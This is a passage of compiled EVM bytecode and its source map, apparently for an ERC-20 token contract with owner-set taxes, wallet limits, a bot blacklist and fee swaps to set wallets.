0158190556110738261106d8581898961146e565b9061146e565b60145560165461108490600a611462565b6014541115610d7d5760405162461bcd60e51b815260206004820152601b60248201527f5461782063616e6e6f74206265206d6f7265207468616e203130250000000000604482015260640161078f565b6110de336111ba565b6110fa5760405162461bcd60e51b815260040161078f9061275c565b6001600160a01b03166000908152600160205260409020805460ff19169055565b611124336111ba565b6111405760405162461bcd60e51b815260040161078f9061275c565b600080546001600160a01b039092166001600160a01b031990921682178155908152600160208190526040909120805460ff19169091179055565b611184336111ba565b6111a05760405162461bcd60e51b815260040161078f9061275c565b601b80549115156101000261ff0019909216919091179055565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03831661123a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161078f565b6001600160a01b03821661129b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161078f565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b611307838383611669565b6113118383611813565b61131c83838361189f565b6113268383611999565b611331838383611a4d565b61133c838383611ad9565b6001600160a01b03831660009081526006602052604090205461135f908261144a565b6001600160a01b0384166000908152600660205260408120919091556113858484611afe565b61138f578161139a565b61139a848484611b44565b6001600160a01b0384166000908152600660205260409020549091506113c0908261146e565b6001600160a01b038085166000818152600660205260409081902093909355915190861690600080516020612a2b833981519152906114029085815260200190565b60405180910390a36114148383611d44565b610edf8484611dfd565b600081848411156114425760405162461bcd60e51b815260040161078f919061248a565b505050900390565b6000610823828461280e565b600061082382846127cd565b600061082382846127ec565b60006108238284612825565b600e546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156114c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e79190612781565b600e5460295460405163a9059cbb60e01b81526001600160a01b03918216600482015260248101849052929350169063a9059cbb906044016020604051808303816000875af115801561153e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c59919061279a565b476000611573836108cc8487611456565b9050600061158760646108cc846032611456565b9050600061159b60646108cc856032611456565b905060006115ae60646108cc8684611456565b6025546040519192506001600160a01b03169084156108fc029085906000818181858888f193505050501580156115e9573d6000803e3d6000fd5b506026546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611624573d6000803e3d6000fd5b506027546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561165f573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0383166116cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161078f565b6001600160a01b03821661172f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161078f565b600081116117915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161078f565b6001600160a01b0383166000908152600660205260409020548111156108fa5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161078f565b6001600160a01b0382166000908152600c602052604090205460ff1615801561185557506001600160a01b0381166000908152600c602052604090205460ff16155b15610c5957600e54600160a01b900460ff16610c595760405162461bcd60e51b815260206004820152600960248201526807374617274537761760bc1b604482015260640161078f565b6001600160a01b0383166000908152600c602052604090205460ff161580156118e157506001600160a01b0382166000908152600c602052604090205460ff16155b801561190657506001600160a01b0382166000908152600a602052604090205460ff16155b801561192057506003546001600160a01b03838116911614155b156108fa576005546001600160a01b03831660009081526006602052604090205461194b908361146e565b11156108fa5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161078f565b600e546001600160a01b038381169116148015906119d057506001600160a01b0382166000908152600a602052604090205460ff16155b80156119f557506001600160a01b0381166000908152600c602052604090205460ff16155b15611a0c57601954611a0890600161146e565b6019555b600e546001600160a01b0390811690831603610c5957601854611a3090429061146e565b6001600160a01b0382166000908152600860205260409020555050565b60045481111580611a7657506001600160a01b0383166000908152600c602052604090205460ff165b80611a9957506001600160a01b0382166000908152600c602052604090205460ff165b6108fa5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161078f565b611ae4838383611fb1565b156108fa57611af4601c5461205b565b6000601955505050565b6001600160a01b0382166000908152600c602052604081205460ff161580156108235750506001600160a01b03166000908152600c602052604090205460ff1615919050565b6000611b5084846121f2565b15611d3d576000611b618585610ee5565b90506000611b7f6016546108cc611b788989610ee5565b8790611456565b90506000611b9c836108cc6013548561145690919063ffffffff16565b90506000611bb9846108cc6012548661145690919063ffffffff16565b90506000611bcb8261087c868661144a565b90508215611c46576003546001600160a01b0316600090815260066020526040902054611bf8908461146e565b600380546001600160a01b03908116600090815260066020908152604091829020949094559154915186815291811692908c1691600080516020612a2b833981519152910160405180910390a35b8115611cbf576024546001600160a01b0316600090815260066020526040902054611c71908361146e565b602480546001600160a01b03908116600090815260066020908152604091829020949094559154915185815291811692908c1691600080516020612a2b833981519152910160405180910390a35b8015611d275730600090815260066020526040902054611cdf908261146e565b30600081815260066020526040908190209290925590516001600160a01b038b1690600080516020612a2b83398151915290611d1e9085815260200190565b60405180910390a35b611d31878561144a565b95505050505050610823565b5092915050565b6001600160a01b0382166000908152600b602052604090205460ff168015611d815750611d736009600a612921565b611d7e9060026127cd565b81105b15611d9157611d91600180611562565b6001600160a01b0382166000908152600b602052604090205460ff168015611dcf5750611dc06009600a612921565b611dcb9060026127cd565b8110155b8015611df05750611de26009600a612921565b611ded9060036127cd565b81105b15610c5957610c5961147a565b813b15158015611e2657506001600160a01b0382166000908152600a602052604090205460ff16155b8015611e395750601b54610100900460ff165b80611e945750600e546001600160a01b038381169116148015611e635750601b54610100900460ff165b8015611e8857506001600160a01b0382166000908152600a602052604090205460ff16155b8015611e945750333214155b80611ea0575042600f54115b15611ec9576001600160a01b0382166000908152600960205260409020805460ff191660011790555b803b15158015611ef257506001600160a01b0381166000908152600a602052604090205460ff16155b8015611f1757506001600160a01b0381166000908152600c602052604090205460ff16155b8015611f2a5750601b54610100900460ff165b80611f855750600e546001600160a01b038381169116148015611f6657506001600160a01b0382166000908152600a602052604090205460ff16155b8015611f725750333214155b8015611f855750601b54610100900460ff165b15610c59576001600160a01b0381166000908152600960205260409020805460ff191660011790555050565b601d54601c5430600090815260066020526040812054601b5491938510159211159060ff16158015611fe5575060175460ff165b8015611fee5750815b801561201357506001600160a01b0386166000908152600a602052604090205460ff16155b801561203857506001600160a01b0385166000908152600c602052604090205460ff16155b80156120485750601a5460195410155b80156120515750805b9695505050505050565b601b805460ff19166001179055602054601e54602154601f5460009361208893909261106d92839161146e565b6120939060026127cd565b905060006120b0826108cc601f548661145690919063ffffffff16565b905060006120be848361144a565b9050476120ca82612283565b60006120d6478361144a565b905060006120f96120f2601f548861144a90919063ffffffff16565b8390611462565b90506000612112601f548361145690919063ffffffff16565b905080156121245761212486826123dd565b601e5460009061213f90612139856002611456565b90611456565b90508015612183576028546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612181573d6000803e3d6000fd5b505b60215460009061219890612139866002611456565b905080156121dc576023546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121da573d6000803e3d6000fd5b505b5050601b805460ff191690555050505050505050565b6000806014541180156122085750601b5460ff16155b8061224d57506001600160a01b03831660009081526009602052604090205460ff16801561224d57506001600160a01b03831660009081526008602052604090205442115b8061227057506001600160a01b03821660009081526009602052604090205460ff165b80610823575042600f5411905092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122b8576122b8612930565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612311573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123359190612946565b8160018151811061234857612348612930565b6001600160a01b039283166020918202929092010152600d5461236e91309116846111d8565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123a7908590600090869030904290600401612963565b600060405180830381600087803b1580156123c157600080fd5b505af11580156123d5573d6000803e3d6000fd5b505050505050565b600d546123f59030906001600160a01b0316846111d8565b600d5460225460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612465573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d7d91906129d4565b600060208083528351808285015260005b818110156124b75785810183015185820160400152820161249b565b818111156124c9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b6257600080fd5b6000806040838503121561250757600080fd5b8235612512816124df565b946020939093013593505050565b8015158114610b6257600080fd5b6000806040838503121561254157600080fd5b823561254c81612520565b9150602083013561255c816124df565b809150509250929050565b60008060006060848603121561257c57600080fd5b8335612587816124df565b92506020840135612597816124df565b929592945050506040919091013590565b6000602082840312156125ba57600080fd5b8135610823816124df565b6000602082840312156125d757600080fd5b5035919050565b600080600080600080600060e0888a0312156125f957600080fd5b8735612604816124df565b96506020880135612614816124df565b95506040880135612624816124df565b94506060880135612634816124df565b93506080880135612644816124df565b925060a0880135612654816124df565b915060c0880135612664816124df565b8091505092959891949750929550565b6000806000806080858703121561268a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156126b957600080fd5b50508035926020909101359150565b600080604083850312156126db57600080fd5b823561254c816124df565b600080604083850312156126f957600080fd5b823561251281612520565b600080600080600060a0868803121561271c57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561275157600080fd5b813561082381612520565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60006020828403121561279357600080fd5b5051919050565b6000602082840312156127ac57600080fd5b815161082381612520565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156127e7576127e76127b7565b500290565b60008261280957634e487b7160e01b600052601260045260246000fd5b500490565b600082821015612820576128206127b7565b500390565b60008219821115612838576128386127b7565b500190565b600181815b8085111561287857816000190482111561285e5761285e6127b7565b8085161561286b57918102915b93841c9390800290612842565b509250929050565b60008261288f57506001610764565b8161289c57506000610764565b81600181146128b257600281146128bc576128d8565b6001915050610764565b60ff8411156128cd576128cd6127b7565b50506001821b610764565b5060208310610133831016604e8410600b84101617156128fb575081810a610764565b612905838361283d565b8060001904821115612919576129196127b7565b029392505050565b600061082360ff841683612880565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561295857600080fd5b8151610823816124df565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129b35784516001600160a01b03168352938301939183019160010161298e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156129e957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f3c7e01de0d3a10c9f22a1c18e73e15f98a436d8ea6854e818626640c5699e3b64736f6c634300080f0033

Deployed Bytecode Sourcemap

6473:16916:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9551:67;;;;;;;;;;-1:-1:-1;9611:5:0;;;;;;;;;;;-1:-1:-1;;;9611:5:0;;;;9551:67;;;;9611:5;9551:67;:::i;:::-;;;;;;;;10498:133;;;;;;;;;;-1:-1:-1;10498:133:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;10498:133:0;1072:187:1;9780:84:0;;;;;;;;;;-1:-1:-1;9850:12:0;;9780:84;;;1410:25:1;;;1398:2;1383:18;9780:84:0;1264:177:1;10883:94:0;;;;;;;;;;-1:-1:-1;10883:94:0;;;;;:::i;:::-;;:::i;:::-;;11734:317;;;;;;;;;;-1:-1:-1;11734:317:0;;;;;:::i;:::-;;:::i;10639:132::-;;;;;;;;;;;;;:::i;2218:87::-;;;;;;;;;;-1:-1:-1;2218:87:0;;;;;:::i;:::-;2273:4;2298:5;-1:-1:-1;;;;;2287:16:0;;;2298:5;;2287:16;;2218:87;17206:205;;;;;;;;;;-1:-1:-1;17206:205:0;;;;;:::i;:::-;;:::i;9705:67::-;;;;;;;;;;-1:-1:-1;9705:67:0;;6686:1;2996:36:1;;2984:2;2969:18;9705:67:0;2854:184:1;11445:134:0;;;;;;;;;;-1:-1:-1;11445:134:0;;;;;:::i;:::-;;:::i;20244:534::-;;;;;;;;;;-1:-1:-1;20244:534:0;;;;;:::i;:::-;;:::i;10985:104::-;;;;;;;;;;-1:-1:-1;10985:104:0;;;;;:::i;:::-;;:::i;18963:303::-;;;;;;;;;;-1:-1:-1;18963:303:0;;;;;:::i;:::-;;:::i;9872:103::-;;;;;;;;;;-1:-1:-1;9872:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;9955:18:0;9938:7;9955:18;;;:9;:18;;;;;;;9872:103;10783:92;;;;;;;;;;-1:-1:-1;10783:92:0;;;;;:::i;:::-;;:::i;11171:61::-;;;;;;;;;;;;;:::i;6901:63::-;;;;;;;;;;;;;;;;6832:60;;;;;;;;;;;;;;;;18601:124;;;;;;;;;;-1:-1:-1;18601:124:0;;;;;:::i;:::-;;:::i;1712:20::-;;;;;;;;;;-1:-1:-1;1712:20:0;;;;-1:-1:-1;;;;;1712:20:0;;;;;;-1:-1:-1;;;;;4699:32:1;;;4681:51;;4669:2;4654:18;1712:20:0;4535:203:1;11342:95:0;;;;;;;;;;-1:-1:-1;11342:95:0;;;;;:::i;:::-;;:::i;18737:214::-;;;;;;;;;;-1:-1:-1;18737:214:0;;;;;:::i;:::-;;:::i;7351:19::-;;;;;;;;;;-1:-1:-1;7351:19:0;;;;-1:-1:-1;;;;;7351:19:0;;;9983:139;;;;;;;;;;-1:-1:-1;9983:139:0;;;;;:::i;:::-;;:::i;11240:94::-;;;;;;;;;;-1:-1:-1;11240:94:0;;;;;:::i;:::-;;:::i;18363:226::-;;;;;;;;;;-1:-1:-1;18363:226:0;;;;;:::i;:::-;;:::i;2041:79::-;;;;;;;;;;-1:-1:-1;2041:79:0;;;;;:::i;:::-;;:::i;10265:89::-;;;;;;;;;;-1:-1:-1;10265:89:0;;;;;:::i;:::-;-1:-1:-1;;;;;10337:15:0;10323:4;10337:15;;;:5;:15;;;;;;;;;10265:89;17727:450;;;;;;;;;;-1:-1:-1;17727:450:0;;;;;:::i;:::-;;:::i;16056:411::-;;;;;;;;;;-1:-1:-1;16056:411:0;;;;;:::i;:::-;;:::i;10130:127::-;;;;;;;;;;-1:-1:-1;10130:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;10228:18:0;;;10211:7;10228:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10130:127;11587:135;;;;;;;;;;-1:-1:-1;11587:135:0;;;;;:::i;:::-;;:::i;19780:452::-;;;;;;;;;;-1:-1:-1;19780:452:0;;;;;:::i;:::-;;:::i;2128:82::-;;;;;;;;;;-1:-1:-1;2128:82:0;;;;;:::i;:::-;;:::i;2412:108::-;;;;;;;;;;-1:-1:-1;2412:108:0;;;;;:::i;:::-;;:::i;11097:66::-;;;;;;;;;;-1:-1:-1;11097:66:0;;;;;:::i;:::-;;:::i;2313:91::-;;;;;;;;;;-1:-1:-1;2313:91:0;;;;;:::i;:::-;;:::i;10498:133::-;10573:4;10580:37;10589:10;10601:7;10610:6;10580:8;:37::i;:::-;-1:-1:-1;10625:4:0;10498:133;;;;;:::o;10883:94::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;10952:15:0::1;;::::0;;;:5:::1;:15;::::0;;;;:23;;-1:-1:-1;;10952:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10883:94::o;11734:317::-;11832:4;11851:36;11861:6;11869:9;11880:6;11851:9;:36::i;:::-;11900:117;11909:6;11917:10;11929:87;11965:6;11929:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11929:19:0;;;;;;:11;:19;;;;;;;;11949:10;11929:31;;;;;;;;;:87;:35;:87::i;:::-;11900:8;:117::i;:::-;-1:-1:-1;12037:4:0;11734:317;;;;;;:::o;10639:132::-;9955:9;:18;;;;10736:4;;-1:-1:-1;;;;;10736:4:0;10692:7;9955:18;;;;;;;10709:12;;10692:7;;10709:60;;9955:18;;10709:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;10702:67;;10639:132;:::o;17206:205::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;17339:16:::1;::::0;17297:21:::1;::::0;-1:-1:-1;;;;;17339:16:0::1;17331:70;17366:34;17396:3;17366:25;17297:21:::0;17380:10;17366:13:::1;:25::i;:::-;:29:::0;::::1;:34::i;:::-;17331:70;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;17264:147;17206:205:::0;:::o;11445:134::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;11504:9:::1;:16:::0;;-1:-1:-1;;;;11504:16:0::1;-1:-1:-1::0;;;11504:16:0::1;::::0;;11522:5:::1;:12:::0;;-1:-1:-1;;11522:12:0::1;11504:16;11522:12;::::0;;11550:27:::1;:15;11570:6:::0;11550:19:::1;:27::i;:::-;11536:11;:41:::0;-1:-1:-1;11445:134:0:o;20244:534::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;20424:18:::1;:31:::0;;-1:-1:-1;;;;;;20424:31:0;;::::1;-1:-1:-1::0;;;;;20424:31:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;20457:25:0;;;:13:::1;:25;::::0;;;;;:32;;-1:-1:-1;;20457:32:0;;::::1;-1:-1:-1::0;20457:32:0;;::::1;::::0;;;20502:14:::1;:23:::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;20527:21;;;;;;:28;;;::::1;::::0;::::1;::::0;;20568:13:::1;:21:::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;20591:20;;;;;;:27;;;;::::1;::::0;;::::1;::::0;;;20631:14:::1;:23:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;20667:16:::1;:25:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;20705:14:::1;:23:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;20741:16:::1;:27:::0;;;;::::1;::::0;;;::::1;;::::0;;20244:534::o;10985:104::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11059:20:0::1;;::::0;;;:10:::1;:20;::::0;;;;:28;;-1:-1:-1;;11059:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10985:104::o;18963:303::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;19097:19:::1;:34:::0;;;;19144:15:::1;:26:::0;;;;19183:17:::1;:30:::0;19226:17:::1;:30:::0;18963:303::o;10783:92::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10845:21:0::1;;::::0;;;:11:::1;:21;::::0;;;;:28;;-1:-1:-1;;10845:28:0::1;10869:4;10845:28;::::0;;10783:92::o;11171:61::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;11220:10:::1;:8;:10::i;:::-;11171:61::o:0;18601:124::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;18671:44:::1;18689:4;18696:10;18708:6;18671:9;:44::i;:::-;18601:124:::0;:::o;11342:95::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;11406:18:::1;:29:::0;;-1:-1:-1;;;;;;11406:29:0::1;-1:-1:-1::0;;;;;11406:29:0;;;::::1;::::0;;;::::1;::::0;;11342:95::o;18737:214::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18829:15:0::1;18847:5;18829:15:::0;;;:5:::1;:15;::::0;;;;;;;:23;;-1:-1:-1;;18829:23:0;;::::1;::::0;;;18865:10:::1;:20:::0;;;;;:31;;;::::1;;::::0;;::::1;::::0;::::1;::::0;;18909:11:::1;:21:::0;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;18737:214::o;9983:139::-;10061:4;10068:40;10078:10;10090:9;10101:6;10068:9;:40::i;11240:94::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;11306:26:::1;11323:3;11328;11306:16;:26::i;:::-;11240:94:::0;;:::o;18363:226::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;18475:38:::1;::::0;-1:-1:-1;;;18475:38:0;;18507:4:::1;18475:38;::::0;::::1;4681:51:1::0;18460:12:0::1;::::0;-1:-1:-1;;;;;18475:23:0;::::1;::::0;::::1;::::0;4654:18:1;;18475:38:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18460:53:::0;-1:-1:-1;;;;;;18526:22:0;::::1;;18549:4:::0;18555:23:::1;18574:3;18555:14;18460:53:::0;18564:4;18555:8:::1;:14::i;:23::-;18526:53;::::0;-1:-1:-1;;;;;;18526:53:0::1;::::0;;;;;;-1:-1:-1;;;;;7389:32:1;;;18526:53:0::1;::::0;::::1;7371:51:1::0;7438:18;;;7431:34;7344:18;;18526:53:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;18447:142;18363:226:::0;;;:::o;2041:79::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2092:19:0::1;;::::0;;;2114:4:::1;2092:19;::::0;;;;;;;:26;;-1:-1:-1;;2092:26:0::1;::::0;;::::1;::::0;;2041:79::o;17727:450::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;17817:13:::1;17867:5;17850:12;17835;;:27;;;;:::i;:::-;17833:39;;;;:::i;:::-;17817:55;;17885:17;17934:5;17922:7;17907:12;;:22;;;;:::i;:::-;17905:34;;;;:::i;:::-;17952:12;:20:::0;;;17985:15:::1;:27:::0;;;18042:12:::1;::::0;17885:54;;-1:-1:-1;18042:29:0::1;::::0;18066:4:::1;::::0;18042:19:::1;::::0;:12;:16:::1;:19::i;:29::-;18033:5;:38;;:84;;;;;18088:29;18112:4;18088:19;18105:1;18088:12;;:16;;:19;;;;:::i;:29::-;18075:9;:42;;18033:84;18025:142;;;::::0;-1:-1:-1;;;18025:142:0;;8455:2:1;18025:142:0::1;::::0;::::1;8437:21:1::0;8494:2;8474:18;;;8467:30;8533:34;8513:18;;;8506:62;-1:-1:-1;;;8584:18:1;;;8577:43;8637:19;;18025:142:0::1;8253:409:1::0;18025:142:0::1;17804:373;;17727:450:::0;;:::o;16056:411::-;-1:-1:-1;;;;;16158:13:0;;16133:7;16158:13;;;:5;:13;;;;;;;;:51;;;;-1:-1:-1;;;;;;16175:16:0;;;;;;:8;:16;;;;;;16194:15;-1:-1:-1;16158:51:0;:60;;;;-1:-1:-1;16213:5:0;;;;;;;16158:60;:139;;;-1:-1:-1;;;;;;16222:16:0;;;;;;:5;:16;;;;;;;;:66;;;;-1:-1:-1;;;;;;16254:16:0;;;;;;:8;:16;;;;;;16273:15;-1:-1:-1;16222:66:0;:75;;;;-1:-1:-1;16292:5:0;;;;;;;16222:75;16158:172;;;;16315:15;16301:11;;:29;16158:172;16155:210;;;16339:14;;:23;;16358:3;16339:18;:23::i;:::-;16332:31;;;;16155:210;16390:4;;-1:-1:-1;;;;;16380:14:0;;;16390:4;;16380:14;16377:53;;16416:11;;16403:8;;:25;;:12;:25::i;16377:53::-;-1:-1:-1;16449:8:0;;16056:411;;;;:::o;11587:135::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;11671:11:::1;:21:::0;;-1:-1:-1;;11671:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;11694:13:::1;:26:::0;11587:135::o;19780:452::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;19909:12:::1;:19:::0;;;19941:12:::1;:20:::0;;;19974:10:::1;:18:::0;;;20005:7:::1;:15:::0;;;20033:11:::1;:19:::0;;;20076:59:::1;20015:5:::0;20076:46:::1;19987:5:::0;20076:46;19924:4;19956:5;20076:16:::1;:30::i;:::-;:34:::0;::::1;:46::i;:59::-;20065:8;:70:::0;20168:14:::1;::::0;:22:::1;::::0;20187:2:::1;20168:18;:22::i;:::-;20156:8;;:34;;20148:74;;;::::0;-1:-1:-1;;;20148:74:0;;8869:2:1;20148:74:0::1;::::0;::::1;8851:21:1::0;8908:2;8888:18;;;8881:30;8947:29;8927:18;;;8920:57;8994:18;;20148:74:0::1;8667:351:1::0;2128:82:0;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2181:19:0::1;2203:5;2181:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;2181:27:0::1;::::0;;2128:82::o;2412:108::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;2479:5:::1;:11:::0;;-1:-1:-1;;;;;2479:11:0;;::::1;-1:-1:-1::0;;;;;;2479:11:0;;::::1;::::0;::::1;::::0;;2492:19;;;2479:11;2492:19:::1;::::0;;;;;;;:26;;-1:-1:-1;;2492:26:0::1;::::0;;::::1;::::0;;2412:108::o;11097:66::-;1988:24;2001:10;1988:12;:24::i;:::-;1980:48;;;;-1:-1:-1;;;1980:48:0;;;;;;;:::i;:::-;11148:5:::1;:13:::0;;;::::1;;;;-1:-1:-1::0;;11148:13:0;;::::1;::::0;;;::::1;::::0;;11097:66::o;2313:91::-;-1:-1:-1;;;;;2383:19:0;2369:4;2383:19;;;:14;:19;;;;;;;;;2313:91::o;12063:345::-;-1:-1:-1;;;;;12158:19:0;;12150:68;;;;-1:-1:-1;;;12150:68:0;;9225:2:1;12150:68:0;;;9207:21:1;9264:2;9244:18;;;9237:30;9303:34;9283:18;;;9276:62;-1:-1:-1;;;9354:18:1;;;9347:34;9398:19;;12150:68:0;9023:400:1;12150:68:0;-1:-1:-1;;;;;12239:21:0;;12231:68;;;;-1:-1:-1;;;12231:68:0;;9630:2:1;12231:68:0;;;9612:21:1;9669:2;9649:18;;;9642:30;9708:34;9688:18;;;9681:62;-1:-1:-1;;;9759:18:1;;;9752:32;9801:19;;12231:68:0;9428:398:1;12231:68:0;-1:-1:-1;;;;;12312:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12366:32;;1410:25:1;;;12366:32:0;;1383:18:1;12366:32:0;;;;;;;12063:345;;;:::o;12420:794::-;12511:37;12522:6;12530:9;12541:6;12511:10;:37::i;:::-;12561:33;12576:6;12584:9;12561:14;:33::i;:::-;12607:41;12622:6;12630:9;12641:6;12607:14;:41::i;:::-;12662:35;12679:6;12687:9;12662:16;:35::i;:::-;12710:39;12723:6;12731:9;12742:6;12710:12;:39::i;:::-;12763:35;12772:6;12780:9;12791:6;12763:8;:35::i;:::-;-1:-1:-1;;;;;12831:17:0;;;;;;:9;:17;;;;;;:29;;12853:6;12831:21;:29::i;:::-;-1:-1:-1;;;;;12811:17:0;;;;;;:9;:17;;;;;:49;;;;12898:32;12821:6;12920:9;12898:13;:32::i;:::-;:83;;12975:6;12898:83;;;12933:39;12946:6;12954:9;12965:6;12933:12;:39::i;:::-;-1:-1:-1;;;;;13017:20:0;;;;;;:9;:20;;;;;;12873:108;;-1:-1:-1;13017:40:0;;12873:108;13017:24;:40::i;:::-;-1:-1:-1;;;;;12994:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13075:43;;;;;;-1:-1:-1;;;;;;;;;;;13075:43:0;;;13103:14;1410:25:1;;1398:2;1383:18;;1264:177;13075:43:0;;;;;;;;13131:33;13146:9;13157:6;13131:14;:33::i;:::-;13177:27;13186:6;13194:9;13177:8;:27::i;4966